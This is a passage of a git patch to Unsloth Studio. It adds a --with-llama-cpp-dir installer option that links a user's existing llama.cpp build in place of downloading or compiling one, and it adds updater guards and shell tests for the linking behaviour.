+    killed = _run_orphan_scan(monkeypatch, studio_root, fake)
+    assert killed == 1
+    assert fake.killed is True
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index 8648b053d5..c16ae91467 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
     }
 
 
+def _is_external_link(path: Optional[Path]) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, so Studio must never auto-update it."""
+    if path is None:
+        return False
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
+def _active_install_is_local_link(binary: Optional[str]) -> bool:
+    """True when the active llama-server resolves through a --with-llama-cpp-dir
+    local link at the canonical llama.cpp directory. An update would write
+    through that link into the user's own checkout (or fail), so the install is
+    treated as externally managed: no update is offered or applied. Checks only
+    up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root
+    above it can't trip a false positive."""
+    if not binary:
+        return False
+    for parent in Path(binary).parents:
+        if _is_external_link(parent):
+            return True
+        if parent.name == "llama.cpp":
+            break
+    return False
+
+
+def _local_link_status() -> dict:
+    """Status payload for a local-link install: unmanaged, no update offered."""
+    with _job_lock:
+        job = dict(_job)
+    return {
+        "supported": False,
+        "update_available": False,
+        "stale": False,
+        "installed_tag": None,
+        "latest_tag": None,
+        "published_repo": None,
+        "installed_at_utc": None,
+        "age_days": None,
+        "source_build": False,
+        "local_link": True,
+        "update_size_bytes": None,
+        "job": job,
+    }
+
+
 def get_update_status(*, force_refresh: bool = False) -> dict:
     """Report whether a newer prebuilt exists plus the current job state.
 
     force_refresh bypasses the 24h release cache for an explicit "check now".
     """
     binary = _find_binary()
+    # A --with-llama-cpp-dir local link is the user's own tree; never offer to
+    # replace it. Bail before any network/freshness work.
+    if _active_install_is_local_link(binary):
+        return _local_link_status()
     marker = read_install_marker(binary)
 
     with _job_lock:
@@ -537,6 +599,19 @@ def start_update() -> dict:
     """Kick off a background update. Idempotent: a second call while one is
     running returns the in-flight job rather than starting another."""
     binary = _find_binary()
+    # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt
+    # here would write through the link into the user's own checkout (or fail)
+    # and silently drop the link the flag created.
+    if _active_install_is_local_link(binary):
+        return {
+            "started": False,
+            "reason": "local_link",
+            "message": (
+                "llama.cpp is a local directory linked with --with-llama-cpp-dir; "
+                "Studio won't replace it. Update your own llama.cpp checkout instead."
+            ),
+            "job": get_update_status()["job"],
+        }
     marker = read_install_marker(binary)
     script = _installer_script()
     if script is None:
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index ae4e8464ec..bb1e88cc4e 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -3180,7 +3180,86 @@ if ($LlamaPr) {
     $SkipPrebuiltInstall = $true
 }
 
-if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
+$LocalLlamaCppLinked = $false
+$LocalLlamaCppSrc = $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR
+if ($LocalLlamaCppSrc) {
+    if (-not (Test-Path -LiteralPath $LocalLlamaCppSrc -PathType Container)) {
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $LocalLlamaCppSrc" "Red"
+        exit 1
+    }
+    $ResolvedLocal = (Resolve-Path -LiteralPath $LocalLlamaCppSrc).Path
+    # Reusing a local dir disables both the prebuilt download and the source
+    # build, so a runnable llama-server.exe must already be present. Accept any
+    # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin,
+    # or build\bin\Release) so the flag never rejects a tree Studio could run.
+    $LocalLlamaServerFound = $false
+    foreach ($_cand in @(
+            (Join-Path $ResolvedLocal "llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\llama-server.exe"),
+            (Join-Path $ResolvedLocal "build\bin\Release\llama-server.exe"))) {
+        if (Test-Path -LiteralPath $_cand) { $LocalLlamaServerFound = $true; break }
+    }
+    if ($ResolvedLocal -eq $LlamaCppDir) {
+        # Points at the canonical install location itself: never delete-then-link
+        # onto itself. Reuse an existing build here (skip prebuilt + source) so the
+        # staged prebuilt installer can't replace a build the user asked to reuse;
+        # if nothing is built yet, fall through to the normal install.
+        if ($LocalLlamaServerFound) {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" "Yellow"
+            $LocalLlamaCppLinked = $true
+            $NeedLlamaSourceBuild = $false
+        } else {
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" "Yellow"
+        }
+    } else {
+        # Fail clearly rather than junction an unbuilt or wrong-platform checkout
+        # and leave Studio with no usable binary.
+        if (-not $LocalLlamaServerFound) {
+            step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red"
+            exit 1
+        }
+        # If the target is already a junction/symlink (e.g. a previous
+        # --with-llama-cpp-dir run), delete only the link via DirectoryInfo.Delete().
+        # Remove-Item -Recurse -Force on a reparse point can traverse the link and
+        # wipe the user's real llama.cpp directory on PowerShell 5.1. Dropping the
+        # stale link here also keeps the custom-home ownership check below idempotent.
+        # Use Get-Item -Force (not Test-Path): a *broken* junction whose target was
+        # moved/deleted makes Test-Path return false, which would leave the dangling
+        # link in place and make mklink below fail; Get-Item still resolves it so we
+        # can remove it and relink to a new valid directory.
+        $existing = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue
+        if ($existing -and ($existing.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) {
+            $existing.Delete()
+        }
+        if ($StudioHomeIsCustom) {
+            Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install"
+        }
+        if (Test-Path -LiteralPath $LlamaCppDir) {
+            Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue
+            # A locked/in-use tree can silently survive removal (SilentlyContinue
+            # masks it). Don't then junction/copy over a half-present dir; mirror the
+            # prebuilt path's active-process handling and stop with a clear message.
+            if (Test-Path -LiteralPath $LlamaCppDir) {
+                step "llama.cpp" "install blocked by active llama.cpp process" "Yellow"
+                substep "Close Studio or other llama.cpp users and retry" "Yellow"
+                exit 3
+            }
+        }
+        cmd /c "mklink /J `"$LlamaCppDir`" `"$ResolvedLocal`"" 2>&1 | Out-Null
+        if ($LASTEXITCODE -ne 0) {
+            substep "Could not create directory junction; copying instead..." "Yellow"
+            Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir
+        }
+        Write-Host ""
+        step "llama.cpp" "linked local directory: $ResolvedLocal"
+        $LocalLlamaCppLinked = $true
+        $NeedLlamaSourceBuild = $false
+    }
+}
+
+if ($LocalLlamaCppLinked) {
+    # local directory linked above; skip prebuilt install
+} elseif ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") {
     Write-Host ""
     substep "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt llama.cpp install" "Yellow"
     $NeedLlamaSourceBuild = $true
@@ -3390,7 +3469,8 @@ if (Test-Path -LiteralPath $LlamaServerBin) {
 
 # Install build tools now (last resort) rather than eagerly in Phase 1, so the
 # prebuilt path stays fast. Same condition as the if/elseif chain below: a source
-# build runs only when needed and no usable binary is already present.
+# build runs only when needed and no usable binary is already present. A linked
+# local dir sets $NeedLlamaSourceBuild = $false, so this no-ops for that path.
 $WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and `
     -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master")
 if ($WillBuildLlamaFromSource) {
@@ -3399,7 +3479,13 @@ if ($WillBuildLlamaFromSource) {
     $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue)
 }
 
-if (-not $NeedLlamaSourceBuild) {
+if ($LocalLlamaCppLinked) {
+    # Local dir linked above -- honor the flag's contract: skip BOTH the prebuilt
+    # download and the source build. Falling through here would run CMake inside
+    # the user's checkout (via the junction) when it lacks build\bin\Release\llama-server.exe.
+    Write-Host ""
+    step "llama.cpp" "linked (skipping build)"
+} elseif (-not $NeedLlamaSourceBuild) {
     Write-Host ""
     step "llama.cpp" "prebuilt (validated)"
 } elseif ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") {
diff --git a/studio/setup.sh b/studio/setup.sh
index 22a922355d..6a74cd2296 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -1271,7 +1271,90 @@ fi
 
 verbose_substep "requested llama.cpp tag: $_REQUESTED_LLAMA_TAG (repo: $_HELPER_RELEASE_REPO)"
 
-if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
+# GGUF export's check_llama_cpp() looks for a llama-quantize shim at the root of
+# the install dir, but a source build keeps the binary under build/bin/. Mirror
+# the source-build-reuse step and create the shim when the reused tree has one
+# but no root shim yet. Best-effort: the tree may be read-only (shared/CI cache),
+# and under `set -e` a failed ln would otherwise abort an good reuse.
+_link_local_llama_quantize_shim() {
+    if [ -x "$1/build/bin/llama-quantize" ] && [ ! -e "$1/llama-quantize" ]; then
+        ln -sf build/bin/llama-quantize "$1/llama-quantize" 2>/dev/null || \
+            substep "could not create llama-quantize shim in linked dir (read-only?); GGUF export may be unavailable"
+    fi
+}
+
+# Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag
+# never rejects a tree Studio could actually run: a root-level llama-server (a
+# `make` build or a flat-extracted release) or the CMake build/bin/llama-server.
+_has_local_llama_server() {
+    [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]
+}
+
+_LOCAL_LLAMA_CPP_LINKED=false
+if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then
+    if [ ! -d "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" ]; then
+        step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $UNSLOTH_LOCAL_LLAMA_CPP_DIR" "$C_ERR"
+        exit 1
+    fi
+    _RESOLVED_LOCAL="$(CDPATH= cd -P -- "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" && pwd -P)"
+    # Canonicalize the install path the same way before comparing: _RESOLVED_LOCAL
+    # is fully resolved, but LLAMA_CPP_DIR is textual ($UNSLOTH_HOME/llama.cpp). If
+    # $HOME (or UNSLOTH_HOME) contains a symlink, the two never match even when the
+    # user pointed the flag at the canonical install itself -- and the rm -rf below
+    # would then wipe the very tree they asked to reuse. Resolve via the parent so
+    # this works whether or not the leaf currently exists.
+    _CANON_LLAMA_CPP_DIR="$LLAMA_CPP_DIR"
+    _LLAMA_CPP_PARENT="$(dirname "$LLAMA_CPP_DIR")"
+    if [ -d "$_LLAMA_CPP_PARENT" ]; then
+        _CANON_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_LLAMA_CPP_PARENT" && pwd -P)/$(basename "$LLAMA_CPP_DIR")"
+    fi
+    if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then
+        # Points at the canonical install location itself: never delete-then-link
+        # it onto itself. If a usable build is already there, reuse it and skip
+        # both the prebuilt download and the source build -- the prebuilt installer
+        # uses os.replace() and would otherwise clobber an existing source build at
+        # this path. If nothing is built there yet, fall through to the normal
+        # install so it gets built in place exactly as it would without the flag.
+        if _has_local_llama_server "$LLAMA_CPP_DIR"; then
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it"
+            _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+            _LOCAL_LLAMA_CPP_LINKED=true
+            _NEED_LLAMA_SOURCE_BUILD=false
+            _SKIP_PREBUILT_INSTALL=true
+        else
+            substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install"
+        fi
+    else
+        # Reusing disables BOTH the prebuilt download and the source build, so the
+        # linked tree must already contain a runnable llama-server in one of the
+        # layouts the backend resolves (root-level or build/bin/). Fail clearly
+        # rather than link an unbuilt or wrong-platform checkout and leave Studio
+        # with no usable binary.
+        if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then
+            step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR"
+            exit 1
+        fi
+        # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned
+        # content; drop it before the ownership check so re-runs stay idempotent
+        # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the
+        # link into the user's dir and reject it as unowned).
+        [ -L "$LLAMA_CPP_DIR" ] && rm -f "$LLAMA_CPP_DIR"
+        if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then
+            _assert_studio_owned_or_absent "$LLAMA_CPP_DIR" "llama.cpp install"
+        fi
+        rm -rf "$LLAMA_CPP_DIR"
+        ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"
+        _link_local_llama_quantize_shim "$LLAMA_CPP_DIR"
+        step "llama.cpp" "linked local directory: $_RESOLVED_LOCAL"
+        _LOCAL_LLAMA_CPP_LINKED=true
+        _NEED_LLAMA_SOURCE_BUILD=false
+        _SKIP_PREBUILT_INSTALL=true
+    fi
+fi
+
+if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then
+    : # local directory linked above; skip prebuilt install
+elif [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then
     step "llama.cpp" "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt" "$C_WARN"
     _NEED_LLAMA_SOURCE_BUILD=true
 elif [ "${_SKIP_PREBUILT_INSTALL:-false}" = true ]; then
diff --git a/tests/sh/test_with_llama_cpp_dir_flag.sh b/tests/sh/test_with_llama_cpp_dir_flag.sh
new file mode 100644
index 0000000000..cee158bf40
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_flag.sh
@@ -0,0 +1,172 @@
+#!/bin/bash
+# Static analysis: the --with-llama-cpp-dir flag must be wired consistently
+# across both installers (install.sh / install.ps1) and both setup scripts
+# (studio/setup.sh / studio/setup.ps1).
+#
+# The flag lets a user point the installer at a local llama.cpp directory so it
+# skips BOTH the prebuilt download (Phase 3) and the source build (Phase 4),
+# linking the local dir into the canonical install location instead. The path
+# crosses the installer->setup boundary via the UNSLOTH_LOCAL_LLAMA_CPP_DIR env
+# var. These checks pin that contract so a future refactor of either side can't
+# silently break it (e.g. installer parses the flag but setup never reads the
+# env var, or setup links the dir but still runs the build).
+#
+# This is a shape/wiring test, not a behavioral one: it greps the committed
+# scripts. It needs no Python, no GPU, no network.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+INSTALL_PS1="$SCRIPT_DIR/../../install.ps1"
+SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh"
+SETUP_PS1="$SCRIPT_DIR/../../studio/setup.ps1"
+ENV_VAR="UNSLOTH_LOCAL_LLAMA_CPP_DIR"
+PASS=0
+FAIL=0
+
+assert_contains() {
+    _label="$1"; _file="$2"; _needle="$3"
+    if grep -qF -- "$_needle" "$_file"; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected to find '$_needle' in $(basename "$_file"))"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+# Count of distinct lines matching a regex, used to assert a guard appears
+# in more than one place (e.g. env var forwarded on both setup invocations).
+assert_min_count() {
+    _label="$1"; _file="$2"; _pattern="$3"; _min="$4"
+    _n=$(grep -cE -- "$_pattern" "$_file" || true)
+    if [ "$_n" -ge "$_min" ]; then
+        echo "  PASS: $_label (found $_n, need >= $_min)"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (found $_n in $(basename "$_file"), need >= $_min)"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+echo ""
+echo "=== install.sh: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.sh: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_SH" "--with-llama-cpp-dir"
+assert_contains \
+    "install.sh: validates the path exists before forwarding" \
+    "$INSTALL_SH" 'if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then'
+# The path must be forwarded to setup.sh on BOTH the local and the
+# non-local setup invocations, else --local users (the documented path)
+# would silently lose the flag.
+assert_min_count \
+    "install.sh: forwards $ENV_VAR on both setup invocations" \
+    "$INSTALL_SH" "$ENV_VAR=\"\\\$_WITH_LLAMA_CPP_DIR\"" 2
+
+echo ""
+echo "=== install.ps1: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.ps1: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_PS1" '"--with-llama-cpp-dir"'
+assert_contains \
+    "install.ps1: errors when flag is given with no path argument" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir requires a path argument"
+assert_contains \
+    "install.ps1: validates the path exists before forwarding" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir path does not exist"
+assert_contains \
+    "install.ps1: exports $ENV_VAR for setup.ps1" \
+    "$INSTALL_PS1" "\$env:$ENV_VAR ="
+# The exported env var must be cleaned up so a later setup invocation in the
+# same shell session doesn't inherit a stale local-dir link.
+assert_contains \
+    "install.ps1: clears $ENV_VAR after the setup run" \
+    "$INSTALL_PS1" "Remove-Item Env:$ENV_VAR"
+
+echo ""
+echo "=== studio/setup.sh: reads the env var, links, and skips download+build ==="
+
+assert_contains \
+    "setup.sh: reads $ENV_VAR" \
+    "$SETUP_SH" "$ENV_VAR"
+assert_contains \
+    "setup.sh: symlinks the local dir into the canonical install location" \
+    "$SETUP_SH" 'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'
+assert_contains \
+    "setup.sh: disables the source build when the local dir is linked" \
+    "$SETUP_SH" "_NEED_LLAMA_SOURCE_BUILD=false"
+assert_contains \
+    "setup.sh: skips the prebuilt download when the local dir is linked" \
+    "$SETUP_SH" "_SKIP_PREBUILT_INSTALL=true"
+# The link branch must short-circuit the FORCE_COMPILE / prebuilt chain rather
+# than fall through into it.
+assert_contains \
+    "setup.sh: link branch gates the prebuilt/compile chain" \
+    "$SETUP_SH" 'if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then'
+
+echo ""
+echo "=== studio/setup.ps1: reads the env var, junctions, and skips download+build ==="
+
+assert_contains \
+    "setup.ps1: reads $ENV_VAR" \
+    "$SETUP_PS1" "\$env:$ENV_VAR"
+assert_contains \
+    "setup.ps1: creates a directory junction into the canonical location" \
+    "$SETUP_PS1" "mklink /J"
+assert_contains \
+    "setup.ps1: falls back to a copy when the junction can't be created" \
+    "$SETUP_PS1" "Copy-Item -Recurse -LiteralPath \$ResolvedLocal -Destination \$LlamaCppDir"
+assert_contains \
+    "setup.ps1: disables the source build when the local dir is linked" \
+    "$SETUP_PS1" '$NeedLlamaSourceBuild = $false'
+# The link branch must gate the prebuilt-install chain (the elseif on
+# FORCE_COMPILE), and the linked-dir case must short-circuit the build chain
+# so neither a prebuilt download nor a source build runs against it.
+assert_contains \
+    "setup.ps1: link branch gates the prebuilt/compile chain" \
+    "$SETUP_PS1" 'if ($LocalLlamaCppLinked) {'
+assert_contains \
+    "setup.ps1: linked-dir case short-circuits the build chain" \
+    "$SETUP_PS1" 'step "llama.cpp" "linked (skipping build)"'
+
+echo ""
+echo "=== both setup scripts: validate against every layout the backend resolves ==="
+
+# The linked tree is accepted only if it already holds a runnable llama-server,
+# but the check must match LlamaCppBackend._layout_candidates() (root-level
+# first, then build/bin, then build/bin/Release on Windows). A narrower check
+# would reject a make/flat-release tree the backend could run.
+assert_contains \
+    "setup.sh: accepts root-level or build/bin llama-server layouts" \
+    "$SETUP_SH" '[ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]'
+assert_contains \
+    "setup.ps1: accepts the build\\bin (non-Release) llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "build\bin\llama-server.exe"'
+assert_contains \
+    "setup.ps1: accepts the root-level llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "llama-server.exe"'
+
+echo ""
+echo "=== both setup scripts: a local dir pointing at the canonical path is a no-op ==="
+
+# Guard against the self-link footgun: if the user passes the canonical install
+# dir itself, neither script should delete-then-link it onto itself.
+assert_contains \
+    "setup.sh: ignores a local dir equal to the canonical install location" \
+    "$SETUP_SH" 'if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then'
+assert_contains \
+    "setup.ps1: ignores a local dir equal to the canonical install location" \
+    "$SETUP_PS1" 'if ($ResolvedLocal -eq $LlamaCppDir) {'
+
+echo ""
+echo "=== Results ==="
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+if [ "$FAIL" -gt 0 ]; then
+    echo "FAILED"
+    exit 1
+fi
+echo "ALL PASSED"
diff --git a/tests/sh/test_with_llama_cpp_dir_link_behavior.sh b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
new file mode 100644
index 0000000000..fb09e56c51
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
@@ -0,0 +1,132 @@
+#!/usr/bin/env bash
+# Behavioral test for the --with-llama-cpp-dir linking block in studio/setup.sh.
+# The companion test_with_llama_cpp_dir_flag.sh is a static wiring check; this one
+# actually RUNS the real link logic (extracted from setup.sh by content anchors,
+# not line numbers) against hermetic fake dirs and asserts the outcomes Lee asked
+# for: an external built dir gets linked, neither the prebuilt download nor the
+# source build is armed, an unbuilt dir is rejected, a relink doesn't destroy the
+# target, and pointing at the canonical path is a no-op. POSIX symlinks here;
+# the Windows junction path is covered by the backend test suite.
+set -u
+HERE="$(CDPATH= cd -P -- "$(dirname "$0")" && pwd -P)"
+SETUP="$HERE/../../studio/setup.sh"
+fails=0
+check() { # name expected actual
+    if [ "$2" = "$3" ]; then printf '  PASS  %s\n' "$1"
+    else printf '  FAIL  %s : expected [%s] got [%s]\n' "$1" "$2" "$3"; fails=$((fails+1)); fi
+}
+
+# Extract the two helpers + the whole `UNSLOTH_LOCAL_LLAMA_CPP_DIR` if-block.
+# Starts at the quantize-shim helper, ends at the first column-0 `fi` after the
+# `if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR..` guard (inner ifs are indented).
+block="$(awk '
+    /^_link_local_llama_quantize_shim\(\) \{/ {grab=1}
+    grab {print}
+    /^if \[ -n "\$\{UNSLOTH_LOCAL_LLAMA_CPP_DIR/ {inif=1}
+    inif && /^fi$/ {exit}
+' "$SETUP")"
+
+# Self-validate the extraction so a future setup.sh refactor fails loudly here.
+case "$block" in *'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'*) : ;;
+    *) echo "FAIL: link block extraction broke (no ln -sfn)"; exit 1 ;; esac
+case "$block" in *'_has_local_llama_server'*) : ;;
+    *) echo "FAIL: link block extraction broke (no _has_local_llama_server)"; exit 1 ;; esac
+
+# Stub setup.sh's logging + ownership helpers, seed the vars the block reads,
+# then run the extracted block and print the resulting state.
+PREAMBLE='
+set -u
+step() { :; }; substep() { :; }; verbose_substep() { :; }
+_assert_studio_owned_or_absent() { :; }
+C_ERR=""
+_STUDIO_HOME_IS_CUSTOM=false
+_NEED_LLAMA_SOURCE_BUILD=UNSET
+_SKIP_PREBUILT_INSTALL=UNSET
+'
+EPILOGUE='
+echo "LINKED=$_LOCAL_LLAMA_CPP_LINKED"
+echo "NEED_BUILD=$_NEED_LLAMA_SOURCE_BUILD"
+echo "SKIP_PREBUILT=$_SKIP_PREBUILT_INSTALL"
+if [ -L "$LLAMA_CPP_DIR" ]; then echo "ISLINK=1"; echo "TARGET=$(readlink "$LLAMA_CPP_DIR")"; else echo "ISLINK=0"; fi
+'
+SNIP="$PREAMBLE"$'\n'"$block"$'\n'"$EPILOGUE"
+
+# run_link <local_dir> <canonical_llama_cpp_dir> -> prints state lines; RC in $RC
+run_link() {
+    OUT="$(env -i PATH="$PATH" HOME="$T" \
+        UNSLOTH_LOCAL_LLAMA_CPP_DIR="$1" LLAMA_CPP_DIR="$2" \
+        bash -c "$SNIP" 2>/dev/null)"
+    RC=$?
+}
+val() { printf '%s\n' "$OUT" | grep "^$1=" | head -1 | cut -d= -f2-; }
+
+T="$(mktemp -d)"
+trap 'rm -rf "$T"' EXIT
+
+# Some environments (Windows git-bash without native symlinks) make `ln -s` copy
+# instead of link. The symlink-identity assertions (ISLINK / readlink target)
+# only run where real symlinks exist; the link/skip/no-data-loss assertions run
+# everywhere, including CI (Linux), where the link path is the real one.
+ln -s "$T" "$T/.symprobe" 2>/dev/null
+if [ -L "$T/.symprobe" ]; then SYMLINKS=1; else SYMLINKS=0; fi
+rm -rf "$T/.symprobe"
+
+# A built external tree (CMake layout) + a flat/`make` tree (root-level binary).
+# The fake binary is a shebang script so the `-x` test in _has_local_llama_server
+# holds on both Linux (chmod +x) and Windows git-bash (MSYS treats #!-files as
+# executable), without needing a real platform binary.
+mk_exe()    { printf '#!/bin/sh\necho fake\n' > "$1"; chmod +x "$1"; }
+mk_built()  { mkdir -p "$1/build/bin"; mk_exe "$1/build/bin/llama-server"; }
+mk_flat()   { mkdir -p "$1"; mk_exe "$1/llama-server"; }
+
+# 1. External CMake build -> linked, and BOTH install paths disarmed.
+EXT1="$T/ext_cmake"; mk_built "$EXT1"; : > "$EXT1/keep.txt"
+CANON1="$T/home1/llama.cpp"; mkdir -p "$(dirname "$CANON1")"
+run_link "$EXT1" "$CANON1"
+check "cmake build: linked"            "true"  "$(val LINKED)"
+check "cmake build: source build off"  "false" "$(val NEED_BUILD)"
+check "cmake build: prebuilt skipped"  "true"  "$(val SKIP_PREBUILT)"
+if [ "$SYMLINKS" = 1 ]; then
+    check "cmake build: canonical is a symlink" "1" "$(val ISLINK)"
+    check "cmake build: link points at external" "$(CDPATH= cd -P -- "$EXT1" && pwd -P)" "$(val TARGET)"
+else
+    printf '  SKIP  cmake build: symlink-identity (no real symlinks here)\n'
+fi
+
+# 2. Flat / make tree (root-level llama-server, no build/bin) -> still linked
+#    (the new layout-candidate acceptance; the old check rejected this).
+EXT2="$T/ext_flat"; mk_flat "$EXT2"
+CANON2="$T/home2/llama.cpp"; mkdir -p "$(dirname "$CANON2")"
+run_link "$EXT2" "$CANON2"
+check "flat build: linked (root-level llama-server accepted)" "true" "$(val LINKED)"
+
+# 3. Unbuilt tree -> rejected (non-zero exit, no link created).
+EXT3="$T/ext_empty"; mkdir -p "$EXT3"
+CANON3="$T/home3/llama.cpp"; mkdir -p "$(dirname "$CANON3")"
+run_link "$EXT3" "$CANON3"
+check "unbuilt tree: rejected (exit != 0)" "yes" "$([ "$RC" -ne 0 ] && echo yes || echo no)"
+check "unbuilt tree: no link left behind"  "no"  "$([ -L "$CANON3" ] && echo yes || echo no)"
+
+# 4. Relink over a stale link must NOT destroy the (new) target's contents.
+OLD="$T/ext_old"; mk_built "$OLD"
+NEW="$T/ext_new"; mk_built "$NEW"; : > "$NEW/precious.txt"
+CANON4="$T/home4/llama.cpp"; mkdir -p "$(dirname "$CANON4")"
+ln -sfn "$OLD" "$CANON4"   # simulate a prior --with-llama-cpp-dir run
+run_link "$NEW" "$CANON4"
+if [ "$SYMLINKS" = 1 ]; then
+    check "relink: now points at the new external" "$(CDPATH= cd -P -- "$NEW" && pwd -P)" "$(val TARGET)"
+fi
+check "relink: new target's contents preserved" "yes" "$([ -f "$NEW/precious.txt" ] && echo yes || echo no)"
+check "relink: old target's contents preserved" "yes" "$([ -f "$OLD/build/bin/llama-server" ] && echo yes || echo no)"
+
+# 5. Pointing at the canonical path itself is a no-op reuse: linked, not turned
+#    into a self-referential symlink, contents untouched.
+CANON5="$T/home5/llama.cpp"; mk_built "$CANON5"; : > "$CANON5/keep.txt"
+run_link "$CANON5" "$CANON5"
+check "canonical no-op: linked"             "true" "$(val LINKED)"
+check "canonical no-op: not made a symlink" "0"    "$(val ISLINK)"
+check "canonical no-op: contents preserved" "yes"  "$([ -f "$CANON5/keep.txt" ] && echo yes || echo no)"
+
+echo ""
+if [ "$fails" -ne 0 ]; then echo "$fails check(s) failed"; exit 1; fi
+echo "All checks passed"

From d91824583452f8d1faf3973a15d3dc4ef5a334ac Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Fri, 3 Jul 2026 06:02:26 +0800
Subject: [PATCH 182/306] Add MLX-aware public Unsloth trainer API (#6462)

* feat: add mlx public trainer api

* test: cover mlx public trainer api

* fix: preserve mlx epoch trainer configs

* fix: pass mlx warmup ratio through config

* fix: align mlx trainer dataset order

* fix: keep mlx chat templates import-light

* fix: infer mlx trainer context length

* fix: mirror cuda mlx context defaults

* fix: align mlx notebook trainer defaults

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: keep mlx public helpers import-light

* refactor: reuse mlx optimizer normalization

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: address mlx review feedback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

